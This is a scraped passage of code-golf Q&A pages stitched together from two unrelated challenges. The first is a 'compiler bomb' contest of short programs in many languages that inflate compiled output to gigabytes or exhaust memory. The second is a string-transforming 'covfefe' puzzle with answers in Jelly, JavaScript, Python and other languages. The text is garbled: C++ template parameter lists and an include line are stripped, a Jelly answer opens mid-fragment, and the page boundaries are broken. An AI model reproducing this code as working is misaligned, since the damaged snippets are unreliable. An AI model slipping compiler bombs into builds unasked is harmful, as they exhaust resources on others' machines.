0, ...]` with `FOO` repetitions of `0`.\nTo compile to ELF:\n```\n$ ghc -XTemplateHaskell big.hs\n[1 of 1] Compiling Main ( big.hs, big.o )\nLinking big ...\n$ file big\nbig: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /nix/store/mibabdfiaznqaxqiy4bqhj3m9gaj45km-glibc-2.21/lib/ld-linux.so.2, for GNU/Linux 2.6.32, not stripped\n```\nThis weighs in at 83 bytes (66 for the Haskell code and 17 for the `-XTemplateHaskell` argument), plus the length of `FOO`.\nWe can avoid the compiler argument and just compile with `ghc`, but we have to put `{-# LANGUAGE TemplateHaskell#-}` at the beginning, which bumps the code up to 97 bytes.\nHere are a few example expressions for `FOO`, and the size of the resulting binary:\n```\nFOO FOO size Total size Binary size\n-------------------------------------------------\n(2^10) 6B 89B 1.1MB\n(2^15) 6B 89B 3.6MB\n(2^17) 6B 89B 12MB\n(2^18) 6B 89B 23MB\n(2^19) 6B 89B 44MB\n```\nI ran out of RAM compiling with `(2^20)`.\nWe can also make an infinite list, using `repeat` instead of `replicate FOO`, but that prevents the compiler from halting ;)\n[Answer]\n# C++, 250 + 26 = 276 bytes\n```\ntemplatestruct a{static const int n;};\ntemplateconst int a::n=a::n>::n;\ntemplatestruct a{static const int n=a::n;};\ntemplatestruct a<0,B>{static const int n=B+1;};\nint h=a<4,2>::n;\n```\nThis is the [Ackermann function](https://en.wikipedia.org/wiki/Ackermann_function) implemented in templates. I'm not able to compile with `h=a<4,2>::n;` on my little (6GB) machine, but I did manage `h=a<3,14>` for a 26M output file. You can tune the constants to hit your platform's limits - see the linked Wikipedia article for guidance.\nRequires `-g` flag to GCC (because it's all the debug symbols that actually consume any space), and a larger-than-default template depth. My compile line ended up as\n```\ng++ -ftemplate-depth=999999 -g -c -o 69189.o 69189.cpp\n```\n### Platform information\n```\ng++ (Ubuntu 4.8.2-19ubuntu1) 4.8.2\nLinux 3.13.0-46-generic #79-Ubuntu SMP x86_64 GNU/Linux\n```\n[Answer]\nHere's my C answer from 2005. Would produce a 16TB binary if you had 16TB RAM (you don't).\n```\nstruct indblock{\n uint32_t blocks[4096];\n};\nstruct dindblock {\n struct indblock blocks[4096];\n};\nstruct tindblock {\n struct dindblock blocks[4096];\n};\nstruct inode {\n char data[52]; /* not bothering to retype the details */\n struct indblock ind;\n struct dindblock dint;\n struct tindblock tind;\n};\nstruct inode bbtinode;\nint main(){}\n```\n[Answer]\n# ASM, 61 bytes (29 bytes source, 32 bytes for flags), 4,294,975,320 bytes executable\n```\n.globl main\nmain:\n.zero 1<<32\n```\nCompile with `gcc the_file.s -mcmodel=large -Wl,-fuse-ld=gold`\n[Answer]\n# Plain old C preprocessor: 214 bytes input, 5MB output\nInspired by my real-world preprocessor fail [here](https://stackoverflow.com/questions/652788/what-is-the-worst-real-world-macros-pre-processor-abuse-youve-ever-come-across/1594500#1594500).\n```\n#define A B+B+B+B+B+B+B+B+B+B\n#define B C+C+C+C+C+C+C+C+C+C\n#define C D+D+D+D+D+D+D+D+D+D\n#define D E+E+E+E+E+E+E+E+E+E\n#define E F+F+F+F+F+F+F+F+F+F\n#define F x+x+x+x+x+x+x+x+x+x\nint main(void) { int x, y = A; }\n```\nExperiments show that each level of `#define`s will (as expected) make the output approximately ten times larger. But since this example took more than an hour to compile, I never went on to \"G\".\n[Answer]\n# Java, 450 + 22 = 472 bytes source, ~1GB class file\n## B.java (golfed version, warning during compilation)\n```\nimport javax.annotation.processing.*;@SupportedAnnotationTypes(\"java.lang.Override\")public class B extends AbstractProcessor{@Override public boolean process(java.util.Set a,RoundEnvironment r){if(a.size()>0){try(java.io.Writer w=processingEnv.getFiler().createSourceFile(\"C\").openWriter()){w.write(\"class C{int \");for(int i=0;i<16380;++i){for(int j=0;j<65500;++j){w.write(\"i\");}w.write(i+\";int \");}w.write(\"i;}\");}catch(Exception e){}}return true;}}\n```\n## B.java (ungolfed version)\n```\nimport java.io.Writer;\nimport java.util.Set;\nimport javax.annotation.processing.AbstractProcessor;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.annotation.processing.SupportedAnnotationTypes;\nimport javax.annotation.processing.SupportedSourceVersion;\nimport javax.lang.model.SourceVersion;\nimport javax.lang.model.element.TypeElement;\n@SupportedAnnotationTypes(\"java.lang.Override\")\n@SupportedSourceVersion(SourceVersion.RELEASE_8)\npublic class B extends AbstractProcessor {\n @Override\n public boolean process(Set annotations, RoundEnvironment roundEnv) {\n if (annotations.size() > 0) {\n try (Writer writer = processingEnv.getFiler().createSourceFile(\"C\").openWriter()) {\n writer.write(\"class C{int \");\n for (int i = 0; i < 16380; ++i) {\n for (int j = 0; j < 65500; ++j) {\n writer.write(\"i\");\n }\n writer.write(i + \";int \");\n }\n writer.write(\"i;}\");\n } catch (Exception e) {\n }\n }\n return true;\n }\n}\n```\n## Compilation\n```\njavac B.java\njavac -J-Xmx16G -processor B B.java\n```\n## Explanation\nThis bomb uses Annotation Processors. It needs 2 compile passes. The first pass builds the processor class `B`. During the second pass the processor creates a new source file `C.java`, and compiles it to a `C.class` with a size of `1,073,141,162` bytes.\nThere are several limitations when trying to create a big class file:\n* Creating identifiers longer than about 64k results in: `error: UTF8 representation for string \"iiiiiiiiiiiiiiiiiiii...\" is too long for the constant pool`.\n* Creating more than about 64k variables/functions results in: `error: too many constants`\n* There is also a limit of about 64k for the code size of a function.\n* There seems to be a general limit (bug?) in the java compiler of about 1GB for the `.class` file. If I increase `16380` to `16390` in the above code the compiler never returns.\n* There is also a limit of about 1GB for the `.java` file. Increasing `16380` to `16400` in the above code results in: `An exception has occurred in the compiler (1.8.0_66). Please file a bug ...` followed by a `java.lang.IllegalArgumentException`.\n[Answer]\n## C, 26 byte source, 2,139,103,367 byte output, valid program\n```\nconst main[255<<21]={195};\n```\nCompiled using: `gcc cbomb.c -o cbomb` (gcc version 4.6.3, Ubuntu 12.04, ~77 seconds)\nI thought I'd try to see how large I could make a valid program without using any command line options. I got the idea from this answer: by Digital Trauma. See the comments there as to why this compiles.\nHow it works: The `const` removes the write flag from the pages in the segment, so main can be executed. The `195` is the Intel machine code for a return. And since the Intel architecture is little-endian, this is the first byte. The program will exit with whatever the start up code put in the eax register, likely 0.\nIt's only about 2 gig because the linker is using 32 bit signed values for offsets. It's 8 meg smaller than 2 gig because the compiler/linker needs some space to work and this is the largest I could get it without linker errors - ymmv.\n[Answer]\n# [Boo](https://github.com/boo-lang/boo), 71 bytes. Compile time: 9 minutes. 134,222,236 byte executable\n```\nmacro R(e as int):\n for i in range(2**e):yield R.Body\nx = 0\nR 25:++x\n```\nUses a macro `R` (for Repeat) to cause the compiler to multiply the increment statement an arbitrary number of times. No special compiler flags are needed; simply save the file as `bomb.boo` and invoke the compiler with `booc bomb.boo` to build it.\n[Answer]\n# [Kotlin](https://kotlinlang.org/), 90 bytes source, 177416 bytes (173 KB) compiled JVM binary\n```\ninline fun a(x:(Int)->Any){x(0);x(1)}\nfun b()=a{a{a{a{a{a{a{a{a{a{a{println(it)}}}}}}}}}}}\n```\nTechnically, you could make this even longer by nesting the expression further. However, the compiler crashes with a `StackOverflow` error if you increase the recursion.\n[Answer]\n# C++, 214 bytes (no special compile options needed)\n```\n#define Z struct X\n#define T templateZ;struct Y{static int f(){return 0;}};T>Z:Y{};T>Z<0,N>:Y{};T,int M>Z{static int f(){static int x[99999]={X::f()+X::f()};}};int x=X<80>::f();\n```\nIt's a fairly straightforward two-dimensional template recursion (recursion depth goes as the square-root of total templates emitted, so won't exceed platform limits), with a small amount of static data in each one.\nGenerated object file with `g++ 4.9.3 x86_64-pc-cygwin` is 2567355421 bytes (2.4GiB).\nIncreasing the initial value above 80 breaks the cygwin gcc assembler (too many segments).\nAlso, `99999` can be replaced by `9<<19` or similar for increased size without changing the source code... but I don't think I need to use any more disk space than I already am ;)\n[Answer]\n# Scala - 70 byte source, 22980842 byte result (after jar)\n```\nimport scala.{specialized => s}\nclass X[@s A, @s B, @s C, @s D, @s E]\n```\nThis produces 95 (about 59,000) specialized class files, which pack into a jar of about 23 MB. You can in principle keep going if you have a filesystem that can handle that many files and enough memory.\n(If the jar command must be included, it's 82 bytes.)\n[Answer]\n## C, 284 bytes + 2 for the `-c` in `gcc bomb.c -o bomb.o -c`; output: 2 147 484 052 bytes\n```\n#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1\n#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a\n#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b\n#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c\n#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d\n#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e\n__int128 x[]={f,f,f,f,f,f,f,f};\n```\n[Answer]\n# [Julia](http://julialang.org/), 22 bytes (in memory)\n```\n0:9^9 .|>i->@eval 2^$i\n```\n[Try it online!](https://tio.run/##jcUxDsIwDADAr3RgaAcs0i0MFeIbCCqrdZCRm0S1Cy3i7@EDDCx3j0UY3VrK4ei9r@DT8b470ROlam87LiNrFtxq2zKlUJ9RCYSNZpQ@p1cDESeCyWCkoBBptX8ISxxAMw2Mwm80TlEB57u7uOvPm/IF \"Julia 1.0 – Try It Online\")\nIt's quite easy to make a compilation bomb in Julia, it can easily happen accidentally. Here we use the fact that `a^i` has some trickery when `i` is a litteral integer, that allows `a^2` to be turned into `a*a`, and `a^-1` into `inv(a)`. It means that there is a new compiled method of `litteral_pow` being compiled for each `i`. I'm pretty sure this would be at least 4GB but I don't know how to check it. This is only compiled in memory and not saved in a file though\n# [Julia](http://julialang.org/), 114 bytes (output in a `.ji` file)\n```\nusing Pkg\npkg\"generate A\"\nwrite(\"A/src/A.jl\",\"module A\n!(::Val{x}) where x=x\n.!Val.(1:9^9)end\")\npkg\"dev A\"\nusing A\n```\n[(can't) Try it online!](https://tio.run/##yyrNyUw0rPj/v7Q4My9dISA7nasgO10pPTUvtSixJFXBUYmrvCizJFVDyVG/uChZ31EvK0dJRyk3P6U0ByjLpahhZRWWmFNdUaupUJ6RWpSqUGFbwaWnCBTT0zC0soyz1EzNS1HSBJuakloGMhBileP//wA \"Julia 1.0 – Try It Online\")\n[Try `A` online!](https://tio.run/##Hci7DsIgFADQvV9BN1huZITEoT/hYhxuykUxvFIgpRq/HY3TSc6zeYeyjxGSaZ7YMs1c6wv6d/8Itj9oI9bPfYL5d8BPWiklKJphXMkeD16PTMnyBfQsIGIgCBUM2QK2xRVKptWhdy@sLsUCuN3lVd7@ivEF \"Julia 1.0 – Try It Online\")\nTo save compiled code to a file, the function must be in a package, therefore we create a package `A` that has the culprit (the function `!`). `Val(i)` is of type `Val{i}`, so a new method is compiled for each `i`. The output file will be in `~/.julia/compiled//A/xxx.ji`\nIn my testing, each additional method adds at least 150 bytes (and growing, 182MB for 1M methods), which means 25M would be enough\nin Julia 1.7, +2 bytes because `pkg\"dev ./A\"` is needed\n# [Julia](http://julialang.org/), 117 bytes (without writing files)\nthis is basically the same as the above, but with the files already there. This is slightly longer because of the uuid needed in `Project.toml` (this is taken care of in `pkg\"generate A\"`)\n**file structure**\n```\nA\n├── src\n│ └── A.jl\n├── Project.toml\n└── a.jl\n```\n**Project.toml**, 52 bytes\n```\nname=\"A\"\nuuid=\"8945f399-ba5e-44d3-9e17-ab2f7e467331\"\n```\n**src/A.jl**, 47 bytes\n```\nmodule A\n!(::Val{x}) where x=x\n.!Val.(0:9^9)end\n```\n[Try it online!](https://tio.run/##Hci7DsIgFADQvV9BN1huZITEoT/hYhxuykUxvFIgpRq/HY3TSc6zeYeyjxGSaZ7YMs1c6wv6d/8Itj9oI9bPfYL5d8BPWiklKJphXMkeD16PTMnyBfQsIGIgCBUM2QK2xRVKptWhdy@sLsUCuN3lVd7@ivEF \"Julia 1.0 – Try It Online\")\n**a.jl**, 7 bytes\n```\nusing A\n```\n**command line options** (in the `A` folder), +11 bytes\n```\njulia --project=. a.jl\n```\n[Answer]\n# [Myxal](https://github.com/Vyxal/Myxal) 0.7.1, 46 source bytes + 2 bytes flag = 48 bytes, 2.042 MB compiled\n```\n~~~~~~~y¢aaaa¢bbbb¢cccc¢dddd¢eeee¢ffff¢gggg¢hh\n```\nSimple node alias recursion bomb. Adding more aliases make the JVM complain of a too large main method.\n```\n~~~~~~~y # A bunch of filter modifiers on the element 'y'\n¢a # Alias that to 'a'\naaa¢b # 3 'a's = 'b' and so on...\nbbb¢c\nccc¢d\nddd¢e\neee¢f\nfff¢g\nggg¢h\nh # Run that final 'h'\n```\nCompiled with the `-O` flag to disable optimization, which also disables shrinking for some reason.\n[Answer]\n# C, 54 bytes, ridiculously large executable\n```\n#include \nuint64_t main[(uint64_t)~0]={~0};\n```\nNot exactly *original*, but much more devastating.\n### Inline but not portable version\n```\nunsigned long long main[~0ull]={~0};\n```\nI am NOT going to sacrifice my laptop just for this.\n### Explanation\n`uint64_t`, `unsigned long long`, they're both unsigned 64-bit integers. \n \nThe tilde (`~`) is the bitwise NOT operator in C (it flips the bits of a value). \n \n`(uint64_t)0` is `0000000000000000000000000000000000000000000000000000000000000000` in binary. \n \nBy applying the bitwise NOT operator, we get a... big number (\\$2^{64}-1\\$).\n### Credits\nBig thanks to user Digital Trauma for his original [implementation](https://codegolf.stackexchange.com/a/69193/108497).\nThis answer is really just an expansion from that.\n[Answer]\n# Swift for wasm, 7 byte source, 6326162 byte (6.3MB) wasm file\nNot winning, but I'm adding this answer for its sheer absurdity:\n```\nprint()\n```\nThe Swift compiler does almost no dead code stripping (at least when compiling for wasm), so you get the entire standard library. The arguments to the print statement, any loops or recursion I added, etc barely seemed to matter. However, removing the print statement entirely shrunk the code size by a noticeable amount.\nFor reference, I used the wasm file generated by , which seems to be using Swift 5.6 at the time of writing.\n[Answer]\n# Boo, way more than you can expect from this\n```\nmacro R(e as int):for i in range(9**e):yield R.Body\nx = 0\nR 99:++x\n```\n[Answer]\n# [Rust](https://www.rust-lang.org), 42 bytes, 1.31 GB executable\n```\nfn main(){print!(\"{:?}\",[0u8;9999999999])}\n```\nDoes not require any specific compilation flags, you can just compile with `rustc cbomb.rs`. \nArrays of the format `[x; s]` where `x` is `Copy` and `s` has type `usize` and both have a value known at compile time are constructed during compilation and embedded in the binary, though the final executable is smaller than I would expect from this and I do not know what mechanism does that. \nI couldn't make the size much larger than this on my laptop without LLVM or the linker crashing from non-language limitations.\n# [Rust](https://www.rust-lang.org), 42 bytes, 18(?) EB executable (on a 64-bit system)\n```\nfn main(){print!(\"{:?}\",[0u8;usize::MAX])} \n```\nThe array would have a size of 18 EB, but the final executable would probably be smaller. I can't afford this much RAM and storage space, so I haven't been able to test this. Maybe you can if you are in the future.\n[Answer]\nPHP 7.1:\n```\nconst X=\"x\",Y=X.X.X.X.X.X.X.X,Z=Y.Y.Y.Y.Y.Y.Y.Y,A=Z.Z.Z.Z.Z.Z.Z.Z,B=A.A.A.A.A.A.A.A,C=B.B.B.B.B.B.B.B,D=C.C.C.C.C.C.C.C,E=D.D.D.D.D.D.D.D,F=E.E.E.E.E.E.E.E,G=F.F.F.F.F.F.F.F;\n```\n`.` is the concatenation operator, and PHP's compiler will try to do constant folding where possible, so it will construct a huge string and store it in PHP's internal bytecode. (I think you can get this written to a file with newer versions.) This is only as efficient as a classic XML entity bomb unfortunately. You'd need a few more repetitions to get to the gigabyte range.\nThe interesting part is that by default the worst that'll happen is seeing an error like:\n```\nFatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 50331680 bytes) in Command line code on line 1\n```\nPHP's web-orientedness means it has a memory limit by default!\n[Answer]\n**Dlang** (ldc compiler)\ncommand to build `ldc -c t.d`\nGBS is count of gigabytes;\ncode of t.d:\n```\nimport std;\nenum GBS = 1;\nvoid main(){\n static foreach(i; 0..2* GBS){\n mixin(text(q{static immutable a}, i,q{ = uint.max.BigInt << uint.max;}));\n mixin(text(q{a}, i, q{.writeln;}));\n }\n}\n```\n[![Result of compiling](https://i.stack.imgur.com/umLHN.png)](https://i.stack.imgur.com/umLHN.png)\n]"}}},{"rowIdx":7,"cells":{"text":{"kind":"string","value":"[Question]\n [\nIn this challenge, you must take a string matching the regex `^[a-zA-Z]+$` or whatever is reasonable (you don't have to consider uppercase or lowercase letters if you want) (you may assume the string is long enough, and has the right structure for all the operations), and output another string, produced similarly to word at the end of a recent dadaist tweet by the POTUS (`\"Despite the constant negative press covfefe\"`).\n## How to covfefify a string:\n### First, get the first sound group (made up terminology).\nHow do you do this? Well:\n* Find the first vowel (`y` is also a vowel)\n```\n v\ncreation\n```\n* Find the first consonant after that\n```\n v\ncreation\n```\n* Remove the rest of the string\n```\ncreat\n```\nThat is your first sound group.\n### Next step:\nGet the last consonant of the sound group\n```\nt\n```\nand replace it with the voiced or voiceless version. To do this, find the letter in this table. Replace with the letter given (which may be the same letter)\n```\nb: p\nc: g\nd: t\nf: v\ng: k\nh: h\nj: j\nk: g\nl: l\nm: m\nn: n\np: b\nq: q\nr: r\ns: z\nt: d\nv: f\nw: w\nx: x\nz: s\n```\nso, we get\n```\nd\n```\nThen, take the next vowel after that consonant. You can assume that this consonant is not at the end of the string. Join these two together, then repeat it twice:\n```\ndidi\n```\nConcatenate this to the first sound group:\n```\ncreatdidi\n```\nYou're done: the string is covfefified, and you can now output it.\nTest cases:\n```\ncoverage: covfefe\nexample: exxaxa\nprogramming: progkaka (the a is the first vowel after the g, even though it is not immediately after)\ncode: codtete\npresident: preszizi\n```\nThis is [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\"), so please make your program as short as possible!\n \n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly), ~~58~~ 57 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page)\n```\n) 'c'\n ⁾cg - literal ['c','g']\n y - translate (change 'c's to 'g's) 'g'\n ; - concatenate with the headed p \"gi\"\n ẋ2 - repeat list twice \"gigi\"\n - implicit print ...along with earlier = smoucgigi\n```\n[Answer]\n## JavaScript (ES6), ~~107~~ 103 bytes\n*Saved 4 bytes thanks to [GOTO 0](https://codegolf.stackexchange.com/users/12474/goto-0)*\n```\ns=>([,a,b,c]=s.match`(.*?[aeiouy]+(.)).*?([aeiouy])`,a+(b=(a=\"bcdfgszkvtgp\")[11-a.search(b)]||b)+c+b+c)\n```\n### Test cases\n```\nlet f =\ns=>([,a,b,c]=s.match`(.*?[aeiouy]+(.)).*?([aeiouy])`,a+(b=(a=\"bcdfgszkvtgp\")[11-a.search(b)]||b)+c+b+c)\nconsole.log(f(\"creation\"))\nconsole.log(f(\"coverage\"))\nconsole.log(f(\"example\"))\nconsole.log(f(\"programming\"))\nconsole.log(f(\"president\"))\n```\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly), ~~45~~ 39 bytes\n```\nØa“œṣ$b|0Ḃ’ṃ,Ṛ$yṫµfØyḢṭḢẋ2\ne€ØyIi-‘ɓḣ;ç\n```\n[Try it online!](https://tio.run/##RYwhDsJAFER9T/EFsiGA5QRoVOVCP83Ctt20DaEJogGBQGIKQVGBAByELjg2CI7xe5GFKswk8@ZlxihEaozOWZXt3xtSRWMwb1G5qLItqaVNatdISZ1et5HOUyoPpC51PtYdC6vFWedOj7erLP9sqCy6@mjoeQW9@k3gAJX33y30peAJsAQED3CE6MY2@EzWdWJDjJJFLEEYpH@hacwwnGLEPLRwxnwp0JJR6EXM93ngWcPQrQHG3MUg@QI \"Jelly – Try It Online\")\n### How it works\n```\ne€ØyIi-‘ɓḣ;ç Main link. Argument: s (string)\n Øy Vowels with y; yield \"AEIOUYaeiouy\".\ne€ Test each character in s for membership.\n I Increments; compute the forward differences of the\n resulting array of Booleans.\n i- Find the first index of -1.\n ‘ Increment this index to find the index of the first\n consonant that follows a vowel.\n Let's call this index j.\n ɓ Begin a new chain. Left argument: s. Right argument: j\n ḣ Head; yield the first j characters of s.\n ç Call the helper link with arguments s and j.\n ; Concatenate the results to both sides.\n```\n```\nØa“œṣ$b|0Ḃ’ṃ,Ṛ$yṫµfØyḢṭḢẋ2 Helper link. Left argument: s. Right argument: j\nØa Alphabet; set the return value to “abc...xyz”.\n “œṣ$b|0Ḃ’ Yield 7787255460949942. This is a numeric literal in\n bijective base 250. The value of each digit matches its\n 1-based index in Jelly's code page.\n ṃ Convert 7787255460949942 to base 26, using the digts\n a = 1, b = 2, ..., y = 25, z = 0.\n This yields \"bcdfkszgvtgp\".\n ,Ṛ$ Pair the result with its reverse, yielding\n [\"bcdfkszgvtgp\", \"pgtvgzskfdcb\"].\n ṫ Call tail with arguments s and j, yielding the j-th and\n all following characters of s.\n y Translate the result to the right according to the\n mapping to the left, i.e., replace 'b' with 'p', 'c'\n with 'g', etc. 'g' appears twice in the first string\n of the mapping; only the first occurrence counts.\n Let's call the resulting string r.\n µ Begin a new chain. Argument: r\n fØy Filter; remove non-vowels from r.\n Ḣ Head; take the first vowel.\n Ḣ Head; take the first character/consonant of r.\n ṭ Tack; append vowel to the consonant.\n ẋ2 Repeat the resulting string twice.\n```\n[Answer]\n# [CJam](https://sourceforge.net/p/cjam), ~~59~~ ~~58~~ ~~57~~ 56 bytes\n```\nq_{\"aeiouy\":V&,_T|:T^}#)/(_W>\"cbdfkszgvtpg\"_W%er@sV&0=+_\n```\n[Try it online!](https://tio.run/##S85KzP3/vzC@WikxNTO/tFLJKkxNJz6kxiokrlZZU18jPtxOKTkpJS27uCq9rKQgXSk@XDW1yKE4TM3AVjv@///k/LLUosT0VAA \"CJam – TIO Nexus\")\n### Explanation\n```\nq_ e# Read the input and copy it.\n{ e# Find the index of the first char for which the following is true:\n \"aeiouy\":V e# Push \"aeiouy\" and store it in V.\n &, e# Check if the current char is in the vowel string (0 or 1).\n _T|:T e# Copy the result and OR with T (T is initially 0), storing back in T.\n ^ e# XOR with the original result. This will be 1 for the first \n e# consonant appearing after a vowel.\n}# e# (end find)\n)/ e# Increment the index and split the string into chunks of that size.\n( e# Pull out the first chunk.\n_W> e# Copy it and get the last character (the consonant).\n\"cbdfkszgvtpg\"_W%er e# Transliterate the consonant to voiced/voiceless alternative.\n@s e# Bring all the other split chunks to the top and join them together.\nV&0= e# First char of the set intersection of that and the vowels.\n e# (i.e. the first vowel in the second half)\n+ e# Concatenate the new consonant and the vowel.\n_ e# Duplicate the result of that.\n e# Implicit output of stack contents.\n```\n[Answer]\n# C, ~~219~~ ~~213~~ ~~206~~ ~~179~~ 175 bytes\n```\n#define p putchar\n#define q(a)for(;a strchr(\"aeiouy\",*s);p(*s++));\nf(s,c,h)char*s;{q(!)q()p(*s);p(c=\"pgt vkh jglmn bqrzd fwx s\"[*s-98]);p(h=s[strcspn(s,\"aeiouy\")]);p(c);p(h);}\n```\n[Try it online!](https://tio.run/##NY1LEoIwEET3niLiZibiwp1WipNQLOKQEPxAyGD8UJ4djZbb7tf9aNMQzfOqNrbtjPDCX0dyOiz@yQAabR9AacFjIBcg06btr48sl4zKg@T1GlEtLHBOucO0lqymAZY4ACYgYVRkvhlFPDlxbM6XThyG8KyFvd0FZ6XkzX5XJc4VXCYR@@5z@Hfht6MvgOo1X3TbAeXxZ5NRTRZiua1SN1MfTdCNeQM \"C (gcc) – TIO Nexus\")\n[Answer]\n# [Perl 5](https://www.perl.org/), ~~81~~ ~~72~~ 71 bytes\n*-1 byte thanks to Xcali!*\n```\ns![aeiouy]+(.)\\K.*!($1=~y/bdfgpstvzck/ptvkbzdfsg/r.$&x/[aeiouy]/g)x2!ge\n```\n[Try it online!](https://tio.run/##K0gtyjH9/79YMToxNTO/tDJWW0NPM8ZbT0tRQ8XQtq5SPyklLb2guKSsKjlbv6CkLDupKiWtOF2/SE9FrUIfpkk/XbPCSDE99f//pMTs1NSkf/kFJZn5ecX/dQsA \"Perl 5 – Try It Online\")\n[Answer]\n# PHP, 121 Bytes\n```\n$v=aeiouy;preg_match(\"#(.*?[$v]+([^$v])).*?([$v])#\",$argn,$t);echo$t[1],$z=strtr($t[2].$t[3],bcdfgkpstvz,pgtvkgbzdfs),$z;\n```\n[Try it online!](https://tio.run/##HYxBDsIgFET3HoOyACVN1CU2PQhBQymFpmn7A18Se3lENzN5L5OBAOXRQ4ATNdFvHbHRGZz3jchCc2fcvL8/EqLzr9WgDYw0rD33imZ9YepZi/PK7Cd4Q8T/RVDk0tmwU1RXLejRJYwYWcWbbmvetRjsOPkFEuZDgMe8@OEYp8TrWpbyBQ \"PHP – Try It Online\")\n[Answer]\n# Pyth, 54 bytes\n```\nL+hb?>F}RJ\"aeiouy\"{String q=\"[a-z&&[^aeiouy]]\",a=s.replaceAll(\"(^\"+q+\"*[aeiouy]+\"+q+\").*\",\"$1\"),b=\"pgtvkhjglmnbqrzdfwxs\".charAt(\"bcdfghjklmnpqrstvwxz\".indexOf(a.charAt(a.length()-1)))+s.replaceAll(a+q+\"*([aeiouy]).*\",\"$1\");return a+b+b;}\n```\nUses `.replaceAll` regexes with capture groups to filter out the parts we don't want.\n**Explanation:**\n[Try it here.](https://tio.run/##jZDNjoIwFIX3PkXTTEwrQuKaMIkPMM5ilkSTSylYLKW0BVHDszPVYCazGWfT3J@v7Tmngh7CRnNV5aeJSbAWfYBQtwVCQjluCmAc7e4tQl/OCFUiRubC0tjPx4U/rAMnGNohhRI02fD9NjNtglMIr8tlegAumu6y3@M1JDYyXEv/9lZKgskBB22AV@mMBI@WRiu8xm8bTNdZgnXp@tOxKmWtstZc8@I8WByxI5itIzhjeVEeq5Pf6tZY15@HK46EyvnwWRB4chBJrkp3JDTcUEqDXzLgoYE8Rfx8HxvuOqMQBFmQxeMU3x3rLpPe8Wy8b0SOah/cnE26R0Dn1C7W8TpqOhdpv3JSERUxgpnh/mqjMH3E@AfY9NxAyV@CfIBay9ecNk1poK69zn@w3IqcKzeT42KcvgE)\n```\ns->{ // Method with String parameter and String return-type\n // Temp String we use multiple times:\n String q=\"[a-z&&[^aeiouy]]\",\n // Regex to get the first part (i.e. `creation` -> `creat` / `example` -> `ex`)\n a=s.replaceAll(\"(^\"+q+\"*[aeiouy]+\"+q+\").*\",\"$1\"), \n // Get the trailing consonant and convert it\n b=\"pgtvkhjglmnbqrzdfwxs\".charAt(\"bcdfghjklmnpqrstvwxz\".indexOf(a.charAt(a.length()-1)))\n // Get the next vowel after the previous consonant from the input-String\n +s.replaceAll(a+q+\"*([aeiouy]).*\",\"$1\");\n // Return the result:\n return a+b+b;\n} // End of method\n```\n[Answer]\n# [Haskell](https://www.haskell.org/), 143 141 138 137 136 bytes\n```\nz h=elem h\"aeiouy\"\nf i|(s,(m,c:x))<-span z<$>break z i,j:_<-filter z x,d<-\"pgt.vkh.jglmn.bqrzd.fwx.s\"!!(fromEnum c-98)=s++m++[c,d,j,d,j]\n```\n[Try it online!](https://tio.run/##LY2xTsMwFEV3vuLVYkgUxzNUSTc2mBirqnLtl8SJn21sp4SIfw8tMFzp3KMr3UGmCa3dthWGFi0SDEyi8fMXe@jAfBeJF8TVfinLpk5BOlibx8MlopxgBcPH/bmpO2MzxltfuG5qFvosrtMgxt6SE5ePuGrRfS4isd2u6KKnFzcTqPr5qWxTVVFVHRXXfLzntJE0riUZ3s5QhDm/5/jqQEBXwpGp22823jEOTPkrRtnjnXGRFOwvhuj7KImM6/9W@l9jMhpdZqftBw \"Haskell – Try It Online\")\n[Answer]\n# Python, ~~261~~ 260 bytes\n```\ndef c(s,t='bpcgdtfvgksz'):\n q,r,t='aeiouy',range(len(s)),t+t[::-1]\n c=[i for i in r if i>[j for j in r if s[j]in q][0]and s[i]not in q][0]\n C=([t[2*i+1]for i in range(12)if s[c]==t[i*2]]or s[c])[0]\n return s[:c+1]+(C+s[[i for i in r if i>c and s[i]in q][0]])*2\n```\nA Non regex, Not esoteric solution. Took about 20 minutes to make, and an hour more to golf.\nIt probably has more list comprehension than the entire python standard library, mostly because I don't know regex...\n[Try it online! (With testcases)](https://tio.run/##bVFNb9swDL37VxDZQXbiBkt6M@ABW9D@CVUHVaZdJbbkSkznpOhvzyR1SRqgPFj8eI98pMcDvVhzfzo12ILKfVFl8Fq6kmomUdv9gZVOmg7zHk2oFiV7HlXXUPvW7fyRZUA1LYhX1d1KZKBqrqG1DjRoA@FpQf/i25TaXlKeb0XwXwX/KaRpQqyFsQTnXAabOufE13O9WIlru6RjtS5SCyXqmrier4UIgBgXieqQ9s6ERKUCeZFvFp5/I0rBefJ5qijm69OPzd6THYDQkzYdtHujSFtTwl@nidDA8wG87PTOj1kWbxaReYSV0VPSY7phsDgyxnHqpfZZikbucA2iSe/RURqZR2wRFjzTePyKCxwnhSPB78QI8h6cs@62m5M6jP4TaA8JHFD57PH/OtBK3XuwV2HwxN7j@/HElrNlkD5ISirqJKVIvUenDX3pMkbJDci@vy64nBVZlo6iynem7Bs62SGrottii6y8yGQ4yWHsYxGnSU7ya210tnNyGMJfCPUY7eTuBqFs89m3ISS85aLXDRpKTPRHfdTsozj9Aw)\n[Answer]\n## Python 2, ~~251~~ ~~246~~ ~~245~~ ~~239~~ ~~237~~ ~~234~~ ~~229~~ 211 bytes\nFirst submission here. \n```\ndef f(s):\n r=c='';n=0;w='aeiouy';a='bcdfghjklmnpqrstvwxz'\n for i in s:\n if n<2:r+=i\n if n<1and i in w:n=1\n if n==1and i in a:c='pgtvkhjglmnbqrzdfwxs'[a.index(i)];n=2\n if n==2and i in w:r+=c+i+c+i;break\n return r\n```\n[Try it 